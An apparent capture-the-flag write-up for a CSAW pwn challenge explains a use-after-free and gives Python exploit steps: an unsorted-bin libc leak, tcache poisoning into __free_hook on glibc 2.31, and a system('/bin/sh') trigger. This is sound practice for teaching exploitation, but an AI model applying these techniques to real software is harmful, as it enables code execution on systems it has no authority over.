$ / 3 min read/pwn

Hells Bells

A use-after-free that leaves the pointer in the slot table: unsorted-bin libc leak, then tcache poisoning into __free_hook on glibc 2.31.

section
CSAW26
event
ctf.csaw.io ↗
category
pwn
status
● solved
provided
thermite-charge, libc-2.31.so, ld-2.31.so, Dockerfile (from files.zip)

Vulnerability

The defuse menu option frees a chunk but leaves the pointer in the slot table, giving both a use-after-free read and a use-after-free write.

Target

glibc 2.31, Full RELRO, PIE, NX, no canary.

  • Full RELRO rules out a GOT overwrite, so __free_hook is the write target.
  • glibc 2.31 predates safe-linking, so a tcache fd is still a raw pointer that can be overwritten with an arbitrary address.
Verb Action
plant allocate + fill
defuse free (pointer not cleared)
rewire write into an existing slot
inspect read a slot back

Exploit

1. libc leak

tcache only accepts chunks up to 0x410, so a 0x500 request goes to the unsorted bin when freed and its fd is left pointing at main_arena+0x60. A 0x80 guard chunk prevents consolidation into the top chunk.

plant(0, 0x500, b'A')   # victim
plant(1, 0x80,  b'B')   # guard against top consolidation
defuse(0)               # pointer not nulled -> UAF
libc.address = u64(inspect(0, 8)) - 0x1ecbe0   # main_arena+0x60

2. tcache poisoning

Free two 0x20 chunks so tcache bin 0 holds 3 -> 2, then use the UAF write to repoint the head at __free_hook. Two allocations follow: the first drains the real chunk, the second is handed back __free_hook itself.

defuse(2); defuse(3)
rewire(3, 0x18, p64(libc.sym.__free_hook))
plant(5, 0x18, b'E')                    # drains chunk 3
plant(6, 0x18, p64(libc.sym.system))    # lands on __free_hook

3. Trigger

plant(7, 0x18, b'/bin/sh\x00')
defuse(7)               # free(ptr) -> system(ptr)

Notes

The exploit is offset-clean between local and remote — only HOST/PORT change — because everything is derived from the leak.

Solver: ~/ctf/work/chall1/files/exploit.py

## challenge files

19 files · 1.8 MB
  • Dockerfile
  • ex.py
  • exploit.py
  • ld-2.31.so
  • libc-2.31.so
  • libc.so.6
  • rel.py
  • thermite-charge
  • thermite-charge.decomp.c
  • thermite-charge_ghidra/
download .zip

flags redacted; flag images and local flag.txt files removed